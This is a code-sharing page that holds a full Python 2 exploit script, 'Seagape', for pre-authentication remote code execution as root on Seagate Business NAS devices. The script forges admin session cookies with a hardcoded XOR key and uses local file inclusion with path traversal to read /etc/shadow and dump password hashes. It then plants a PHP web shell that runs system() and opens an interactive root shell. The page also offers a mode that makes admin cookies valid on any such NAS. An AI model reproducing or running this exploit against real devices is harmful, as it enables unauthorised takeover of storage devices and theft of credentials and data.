扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 |
#!/usr/bin/env python # # Seagape # ======= # Seagate Business NAS pre-authentication remote code execution # exploit as root user. # # by OJ Reeves (@TheColonial) - for full details please see # https://beyondbinary.io/advisory/seagate-nas-rce/ # # Usage # ===== # seagape.py <ip> <port> [-c [ua]] # # - ip : ip or host name of the target NAS # - port : port of the admin web ui # - -c : (optional) create a cookie which will give admin access. #Not specifying this flag results in webshell installation. # - ua : (optional) the user agent used by the browser for the #admin session (UA must match the target browser). #Default value is listed below # # Example # ======= # Install and interact with the web shell: # seagape.py 192.168.0.1 80 # # Create admin cookie # seagape.py 192.168.0.1 80 -c import base64 import hashlib import itertools import os import re import socket import sys import urllib import urllib2 import uuid import xml.sax.saxutils if len(sys.argv) < 3: print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0]) sys.exit(1) # Every Seagate nas has the same XOR key. Great. XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07' # This is the User agent we'll use for most of the requests DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' # This is the description we're going to be reading from LFI_FILE = '/etc/devicedesc' # the base globals that will hold our state host = sys.argv[1] port = int(sys.argv[2]) cis = '' hostname = '' webshell = str(uuid.uuid1()) + ".php" def chunks(s, n): for i in xrange(0, len(s), n): yield s[i:i + n] def forward_interleave(a, b): return ''.join(itertools.chain(*zip(itertools.cycle(a), b))) def xor(s, k): return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k))) def sha1(s): return hashlib.sha1(s).hexdigest() def decode(s): f = xor(s, XOR_KEY) return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2)) def encode(s): s = forward_interleave(sha1(s), s) s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2)) return xor(s, XOR_KEY) def make_request(uri = "/", ci_session = None, headers = None, post_data = None): method = 'GET' if not headers: headers = {} headers['Host'] = host if 'User-Agent' not in headers: headers['User-Agent'] = DEFAULT_UA if 'Accept' not in headers: headers['Accept'] = 'text/html' if post_data: method = 'POST' post_data = urllib.urlencode(post_data) headers['Content-Type'] = 'application/x-www-form-urlencoded' if ci_session: ci_session = urllib.quote(base64.b64encode(encode(ci_session))) headers['Cookie'] = 'ci_session={0}'.format(ci_session) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) http= "" http += "{0} {1} HTTP/1.1\r\n".format(method, uri) for h in headers: http += "{0}: {1}\r\n".format(h, headers[h]) if post_data: http += "Content-Length: {0}\r\n".format(len(post_data)) http += "\r\n" if post_data: http += post_data s.send(http) result = "" while True: data = s.recv(1024) if not data: break result += data s.close() return result def get_ci_session(): resp = make_request() for l in resp.split("\r\n"): m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l) for name, value in m: if name == 'ci_session' and len(value) > 40: return decode(base64.b64decode(urllib.unquote(value))) print "Unable to establish session with {0}".format(host) sys.exit(1) def add_string(ci_session, key, value): prefix = 's:{0}:"{1}";s:'.format(len(key), key) if prefix in ci_session: ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session) else: # doesn't exist, so we need to add it to the start and the end. count = int(ci_session.split(':')[1]) + 1 ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session) return ci_session def set_admin(ci_session): return add_string(ci_session, "is_admin", "yes") def set_language(ci_session, lang): return add_string(ci_session, "language", lang) def include_file(ci_session, file_path): if file_path[0] == '/': file_path = '../../../../../..' + file_path return set_language(ci_session, file_path + "\x00") def read_file(file_path, post_data = None): resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data) return resp def hashdump(): shadow = read_file('/etc/shadow') for l in shadow.split("\n"): if l and ':!:' not in l and ':x:' not in l: parts = l.split(':') print "{0}:{1}".format(parts[0], parts[1]) def cmd(command): headers = { 'Content-Type' : 'application/x-www-form-urlencoded', 'Accept' : '*/*', 'User-Agent' : DEFAULT_UA } post_data = urllib.urlencode({'c' : command}) headers['Content-Type'] = 'application/x-www-form-urlencoded' ci_session = urllib.quote(base64.b64encode(encode(cis))) headers['Cookie'] = 'ci_session={0}'.format(ci_session) url = 'http://{0}:{1}/{2}'.format(host, port, webshell) req = urllib2.Request(url, headers = headers, data = post_data) return urllib2.urlopen(req).read() def shell(): running = True while running: c = raw_input("Shell ({0}) $ ".format(post_id)) if c != 'quit' and c != 'exit': cmd(c) else: running = False def show_admin_cookie(user_agent): ci_session = add_string(cis, 'is_admin', 'yes') ci_session = add_string(ci_session, 'username', 'admin') ci_session = add_string(ci_session, 'user_agent', user_agent) ci_session = urllib.quote(base64.b64encode(encode(ci_session))) print "Session cookies are bound to the browser's user agent." print "Using user agent: " + user_agent print "ci_session=" + ci_session def show_version(): print "Firmware Version: {0}".format(get_firmware_version()) def show_cookie(): print cis def show_help(): print "" print "Seagape v1.0 -- Interactive Seagate NAS Webshell" print "- OJ Reeves (@TheColonial) - https://beyondbinary.io/" print "- https://beyondbinary.io/bbsec/001" print "===========================================================================" print "version - Print the current firmware version to screen." print "dumpcookie- Print the current cookie to screen." print "admincookie <ua>- Create an admin login cookie (ua == user agent string)." print "Add to your browser and access ANY NAS box as admin." print "help- Show this help." print "exit / quit - Run for the hills." print "<anything else> - Execute the command on the server." print "" def execute(user_input): result = True parts = user_input.split(' ') c = parts[0] if c == 'admincookie': ua = DEFAULT_UA if len(parts) > 1: ua = ' '.join(parts[1:]) show_admin_cookie(ua) elif c == 'dumpcookie': show_cookie() elif c == 'version': show_version() elif c == 'help': show_help() elif c == 'quit' or c == 'exit': remove_shell() result = False else: print cmd(user_input) return result def get_firmware_version(): resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043", ci_session = acis) return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2] def install_shell(): resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043", ci_session = acis) existing_setup = '' for l in resp.split("\r\n"): if 'general_setup' in l: existing_setup = l break # generate the shell and its installer exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>") installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post) write_php = xml.sax.saxutils.quoteattr(installer)[1:-1] start = existing_setup.index('" description="') + 15 end = existing_setup.index('"', start) updated_setup = existing_setup[0:start] + write_php + existing_setup[end:] # write the shell to the description resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043", ci_session = acis, headers = { }, post_data = { 'general_setup' : updated_setup }) # invoke the installer read_file(LFI_FILE) # remove the installer resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043", ci_session = acis, headers = { }, post_data = { 'general_setup' : existing_setup }) def remove_shell(): return cmd('rm -f {0}'.format(webshell)) print "Establishing session with {0} ...".format(host) cis = get_ci_session() if len(sys.argv) >= 4 and sys.argv[3] == '-c': ua = DEFAULT_UA if len(sys.argv) > 4: ua = sys.argv[4] show_admin_cookie(ua) else: print "Configuring administrative access ..." acis = add_string(cis, 'is_admin', 'yes') acis = add_string(acis, 'username', 'admin') print "Installing web shell (takes a while) ..." install_shell() print "Extracting id and hostname ..." identity = cmd('whoami').strip() hostname = cmd('cat /etc/hostname').strip() show_help() running = True while running: try: user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname)) running = execute(user_input) except: print "Something went wrong. Try again." |
体验盒子
